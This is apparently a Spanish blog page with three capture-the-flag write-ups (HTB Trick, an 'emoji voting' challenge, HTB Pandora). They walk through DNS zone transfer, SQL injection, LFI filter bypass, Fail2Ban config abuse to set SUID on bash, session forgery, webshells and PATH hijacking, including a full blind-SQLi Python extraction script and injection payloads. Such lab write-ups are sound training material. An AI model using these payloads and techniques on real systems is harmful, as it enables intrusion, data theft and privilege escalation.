SQL Injection on

Trick (Easy)

admin@synacklabs.github.io (SynAckLabs) — Thu, 22 Jan 2026 00:00:00 +0000

Resumen

Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una SQL Injection para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un LFI (Local File Inclusion) con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de Fail2Ban y mi capacidad de reiniciar el servicio con sudo.

Escaneo y Reconocimiento

Comienzo con un escaneo básico de servicios. Detecto SSH, DNS y un servidor Web Nginx.

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0=
| 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm
25/tcp open smtp? syn-ack ttl 63
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración Web (Puerto 80)

Al visitar la web principal en el puerto 80, encuentro una página “Coming Soon” sin funcionalidad aparente. Identifico que corre sobre Nginx 1.14.2.

Enumeración DNS (Puerto 53)

Dado que el puerto 53 está abierto, realizo una búsqueda inversa (reverse lookup) para identificar el nombre de dominio de la máquina.

dig @10.129.95.104 -x 10.129.95.104

; <<>> DiG 9.20.4-4-Debian <<>> @10.129.95.104 -x 10.129.95.104
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46316
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5e0ee3a854962e4cc522bb9469725f8b9fb68186fcd1fb04 (good)
;; QUESTION SECTION:
;104.95.129.10.in-addr.arpa. IN PTR

;; ANSWER SECTION:
104.95.129.10.in-addr.arpa. 604800 IN PTR trick.htb.

;; AUTHORITY SECTION:
95.129.10.in-addr.arpa. 604800 IN NS trick.htb.

;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1

;; Query time: 204 msec
;; SERVER: 10.129.95.104#53(10.129.95.104) (UDP)
;; WHEN: Thu Jan 22 18:33:54 CET 2026
;; MSG SIZE rcvd: 164

Con el dominio trick.htb identificado, intento una transferencia de zona (AXFR) para listar todos los subdominios configurados.

dig axfr trick.htb @10.129.95.104

; <<>> DiG 9.20.4-4-Debian <<>> axfr trick.htb @10.129.95.104
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 40 msec
;; SERVER: 10.129.95.104#53(10.129.95.104) (TCP)
;; WHEN: Thu Jan 22 18:36:11 CET 2026
;; XFR size: 6 records (messages 1, bytes 231)

Encuentro un subdominio interesante: preprod-payroll.trick.htb. Lo añado a mi /etc/hosts.

Acceso Inicial

SQL Injection en Preprod-Payroll

Al acceder a preprod-payroll.trick.htb, me encuentro con un panel de login. Pruebo una inyección SQL básica para intentar bypassear la autenticación.

¡Éxito! Accedo al panel administrativo de gestión de nóminas.

Explorando la interfaz, en el apartado de usuarios, inspecciono el código fuente o los elementos de la lista y encuentro unas credenciales ocultas:

Usuario: Enemigosss
Password: SuperGucciRainbowCake

Intento usar estas credenciales para SSH, pero no funcionan. El entorno parece ser de pre-producción, así que decido buscar más subdominios mediante fuzzing de vhosts.

LFI en Preprod-Marketing

El fuzzing revela otro subdominio: preprod-marketing.trick.htb.

Al navegar por esta web, observo que las páginas se cargan mediante un parámetro page: http://preprod-marketing.trick.htb/index.php?page=services.html

Esto es un indicador potencial de LFI. Vamos a explorar…

Pruebo cargas útiles básicas (../../etc/passwd), pero no obtengo respuesta. Parece haber un filtro de sanitización. Pruebo técnicas de bypass y descubro que ....// funciona para saltar directorios.

Podemos enumerar el usuario michael donde probamos una reutilización de credenciales pero nada.

Consigo leer el /etc/passwd y confirmo la existencia del usuario michael. Dado que tengo LFI, intento leer su clave privada SSH.

Copio la clave (id_rsa), le doy los permisos adecuados (chmod 600) y me conecto como michael.

Ya estoy dentro. Capturo la user flag.

Escalada de Privilegios

Enumeración de Sudoers

Reviso los permisos de sudo del usuario michael.

uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)


michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
 (root) NOPASSWD: /etc/init.d/fail2ban restart

Puedo reiniciar el servicio Fail2Ban como root sin contraseña.

Abuso de configuración de Fail2Ban

Usamos esta guia que explica que es este ejecutable.

https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server

Fail2Ban escanea logs y banea IPs usando iptables basándose en reglas definidas. Reviso los permisos de la configuración.

“Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious signs (too many password failures, seeking for exploits, etc.)”

Observo que el grupo security (al que pertenezco: groups=1001(michael),1002(security)) tiene permisos de escritura sobre los archivos de configuración en action.d.

Existe un objeto principal el cual contiene la configuración global de los baneos, reside en /etc/fail2ban/jail.conf

El archivo /etc/fail2ban/jail.conf define que tras 5 intentos fallidos, la IP será baneada ejecutando una acción. La acción por defecto suele implicar iptables-multiport.

Exploaramos ese archivo iptables-multiport.conf.

michael@trick:/etc/fail2ban/action.d$ cat iptables-multiport.conf
# Fail2Ban configuration file
#
# Author: Cyril Jaquier
# Modified by Yaroslav Halchenko for multiport banning
#

[INCLUDES]

before = iptables-common.conf

[Definition]

# Option: actionstart
# Notes.: command executed once at the start of Fail2Ban.
# Values: CMD
#
actionstart = <iptables> -N f2b-<name>
 <iptables> -A f2b-<name> -j <returntype>
 <iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>

# Option: actionstop
# Notes.: command executed once at the end of Fail2Ban
# Values: CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
 <actionflush>
 <iptables> -X f2b-<name>

# Option: actioncheck
# Notes.: command executed once before each actionban command
# Values: CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>

# Option: actionunban
# Notes.: command executed when unbanning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]

Edito el archivo /etc/fail2ban/action.d/iptables-multiport.conf. Mi objetivo es cambiar el comando que se ejecuta al banear una IP (actionban) por uno que me otorgue permisos de root.

mv iptables-multiport.conf .old
cp .old iptables-multiport.conf
vim iptables-multiport.conf

Con esto podemos modificar el archivo. ya que estamos dentro del grupo security que nos permite mover archivos y reescribirlos.

actionban = chmod u+s /bin/bash

Ejecución

Reinicio Fail2Ban para aplicar la configuración maliciosa:

sudo /etc/init.d/fail2ban restart

Podemos ver en el archivo/etc/fail2ban/jail.conf cuantos intentos tenemos antes del baneo, son 5.

Desde mi máquina atacante (o abriendo otra sesión local), intento loguearme por SSH con una contraseña incorrecta 5 veces para disparar la regla de baneo.

ssh msassam@trick.htb
# (Fallo la contraseña 5 veces intencionalmente)

Una vez activado el “ban”, Fail2Ban ejecuta mi comando malicioso. Verifico los permisos de bash:

Tenemos shell como root!

emoji voting (Easy)

admin@synacklabs.github.io (SynAckLabs) — Sun, 18 Jan 2026 00:00:00 +0000

Resumen

Este endpoint (/api/list) permite controlar el parámetro order que se inserta en un ORDER BY, lo que abre la puerta a una SQL Injection ciega (boolean-based). A partir de respuestas True/False, se puede extraer información carácter a carácter (primero el nombre de la tabla y luego el contenido de la columna flag).

Código vulnerable (punto de entrada)

En el backend se construye una query concatenando order:

async getEmojis(order) {
 // TOOD: add parametrization
 return new Promise(async (resolve, reject) => {
 try {
 let query = `SELECT * FROM emojis ORDER BY ${ order }`;
 resolve(await this.db.all(query));
 } catch(e) {
 reject(e);
 }
 });
 }

Y el endpoint recibe order desde el body:

router.post('/api/list', (req, res) => {
 let { order } = req.body;

 if (order) {
 return db.getEmojis(order)
 .then(data => {
 if (data) {
 return res.json(data);
 }

 return res.send(response('Seems like there are no emojis'));
 })
 .catch((e) => {
 return res.send(response('Something went wrong'));
 })
 }

 return res.send(response('Missing parameters'))
});

Confirmación: control del `order`

Podemos controlar el parámetro order.

SQLi boolean-based en `ORDER BY`

La idea es forzar dos comportamientos distintos (True vs False) cambiando el criterio de ordenación mediante un CASE WHEN.

"order":"(CASE WHEN (1=1) THEN id ELSE count END) ASC" # true

"order":"(CASE WHEN (1=0) THEN id ELSE count END) ASC" # false

Si la condición es True, la lista queda ordenada por id. Si es False, se ordena por count. Con esa diferencia podemos inferir bits de información.

Para extraer texto sin ver errores ni datos directamente, se puede consultar un carácter concreto con substr (o substring) y compararlo. En el script de ejemplo, se compara contra el valor en hex para manejar caracteres especiales.

import requests
import string

host, port = '94.237.51.160', 45916
HOST = f'{{http://{host}}}:{port}'

def req(payload):
 try:
 r =
requests.post
(f'{HOST}/api/list', data={'order': payload})
 return r.json()
 except Exception as e:
 print(f"Request failed: {e}")
 return []

i = 0
f = ''

print("Starting injection...")

while True:
 i += 1
 found_char = False

 for char in string.printable:
 if char == "'":
 continue

 # Convert char to hex to handle special characters safely in SQLite
 char_hex = format(ord(char), 'x').upper()

 # Construct the query
 # We check if the hex of the substring equals our hex character
 query = f"SELECT hex(substr((SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0),{i}, 1)) = '{char_hex}'"

 # Injection payload for ORDER BY clause
 # If True, order by 'id' (id 1 comes first usually)
 # If False, order by 'count' (assuming a different order)
 payload = f'(CASE WHEN ({query}) THEN id ELSE count END) ASC'

 response = req(payload)

 # Check if we got a valid response and if the first item has id 1
 if response and response[0].get('id') == 1:
 f += char
 print(f"[+] Found character: {char} | Current String: {f}")
 found_char = True
 break

 # If we went through all characters and didn't find a match, the string has ended
 if not found_char:
 print(f"Extraction complete. Final string: {f}")
 break

Salida del script (ejemplo):

python exploit.py
Starting injection...
[+] Found character: f | Current String: f
[+] Found character: l | Current String: fl
[+] Found character: a | Current String: fla
[+] Found character: g | Current String: flag
[+] Found character: _ | Current String: flag_
[+] Found character: e | Current String: flag_e
[+] Found character: 7 | Current String: flag_e7
[+] Found character: 2 | Current String: flag_e72
[+] Found character: 6 | Current String: flag_e726
[+] Found character: 4 | Current String: flag_e7264
[+] Found character: b | Current String: flag_e7264b
[+] Found character: 5 | Current String: flag_e7264b5
[+] Found character: d | Current String: flag_e7264b5d
[+] Found character: 9 | Current String: flag_e7264b5d9
[+] Found character: 0 | Current String: flag_e7264b5d90
Extraction complete. Final string: flag_e7264b5d90

Enumeración de columnas en SQLite

En SQLite no existe DESCRIBE table como en MySQL. En su lugar, se puede consultar la columna sql de sqlite_master, que contiene el CREATE TABLE.

Cambiamos el query por:

query = f'''SELECT hex(substr((SELECT sql FROM sqlite_master WHERE tbl_name='\{flag_e7264b5d90\}'), \{i\}, 1)) = '\{char_hex\}' '''

Obtenemos una cadena como:

CREATE TABLE flag_e7264b5d90 (flag TEXT)

Lo que nos revela el nombre de la columna: flag.

Extracción del valor de la flag

Finalmente, apuntamos a la columna flag:

query = f'''SELECT hex(substr((SELECT flag FROM flag_e7264b5d90 ), \{i\}, 1)) = '\{char_hex\}' '''

Pandora (Easy)

admin@synacklabs.github.io (SynAckLabs) — Wed, 14 Jan 2026 00:00:00 +0000

Resumen

Write-up de la máquina Pandora (Easy). Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar UDP, donde aparece SNMP (161/udp) con community string public. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de Pandora FMS, explotamos una SQLi para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a root mediante PATH hijacking en un binario SUID que invoca tar sin ruta absoluta.

Enumeración

Enumeración TCP

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.

Enumeración UDP

Siguiendo la pista, enumeramos UDP y encontramos SNMP:

PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)

Notas rápidas:

SNMP suele usarse para monitorización y gestión remota.
public es una community string típica y, si está expuesta, suele filtrar información sensible.

Enumeración SNMP y acceso inicial

Usamos snmpbulkwalk para volcar información:

snmpbulkwalk -c public -v2c 10.10.11.136

En la salida aparecen credenciales:

daniel:HotelBabylon23

Con estas credenciales entramos por SSH.

Post-explotación (usuario) y pivote a servicio interno

Dentro, al revisar directorios, vemos que user.txt pertenece a matt:

daniel@pandora:/home/matt$ ls
user.txt

daniel@pandora:/home/matt$ cat user.txt
cat: user.txt: Permission denied

Necesitamos escalar o conseguir acceso como matt.

Durante la enumeración detectamos otra web interna. Hacemos port forwarding del puerto 80 remoto para acceder desde nuestra máquina.

Intentamos autenticarnos con las credenciales de daniel y no funciona.

En el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.

SQLi en Pandora FMS (chart_generator.php)

Pandora FMS 742: Critical Code Vulnerabilities Explained

Probamos el endpoint vulnerable para confirmar la inyección:

curl -sG
localhost:80/pandora_console/include/chart_generator.php
 --data-urlencode "session_id='" | head -1

Identificamos que es una SQLi error-based en una consulta del estilo:

SELECT * FROM tsessions_php WHERE `id_session` = '$session_id' LIMIT 1

Determinar número de columnas

Probando UNION SELECT:

Con 1 y 2 columnas falla.
Con 3 columnas devuelve HTML correctamente.

Conclusión: la tabla devuelve 3 columnas.

Dumpeo con sqlmap

Usamos sqlmap para extraer contenido de tsessions_php y encontramos una sesión de matt:

| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349 |

Con esa sesión obtenemos acceso al panel como matt.

Escalada a admin (secuestro de sesión)

Como matt no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo data.

session_id=' union select 1,2,'id_usuario|s:5:"admin";'-- -

Esto nos devuelve un id_session válido para admin.

RCE: subida de webshell

Con sesión de admin subimos una shell.php. En el sistema aparece en:

/var/www/pandora/pandora_console/images/shell.php

Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).

Escalada a root (PATH hijacking en binario SUID)

Enumeramos binarios SUID:

find / -perm -4000 2>/dev/null

Destaca /usr/bin/pandora_backup.

Al inspeccionar el binario se aprecia que invoca tar sin ruta absoluta. Esto permite PATH hijacking: si controlamos PATH y colocamos un ejecutable llamado tar antes que el real, el binario SUID ejecutará nuestro payload como root.

Ejecución

Desde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).

Una vez ajustado el PATH y ejecutado pandora_backup, obtenemos ejecución como root.

SQL Injection on

Trick (Easy)

Resumen

Escaneo y Reconocimiento

Enumeración Web (Puerto 80)

Enumeración DNS (Puerto 53)

Acceso Inicial

SQL Injection en Preprod-Payroll

LFI en Preprod-Marketing

Escalada de Privilegios

Enumeración de Sudoers

Abuso de configuración de Fail2Ban

Ejecución

emoji voting (Easy)

Resumen

Código vulnerable (punto de entrada)

Confirmación: control del order

SQLi boolean-based en ORDER BY

Extracción carácter a carácter (blind)

Enumeración de columnas en SQLite

Extracción del valor de la flag

Pandora (Easy)

Resumen

Enumeración

Enumeración SNMP y acceso inicial

Post-explotación (usuario) y pivote a servicio interno

SQLi en Pandora FMS (chart_generator.php)

Escalada a admin (secuestro de sesión)

RCE: subida de webshell

Escalada a root (PATH hijacking en binario SUID)

Confirmación: control del `order`

SQLi boolean-based en `ORDER BY`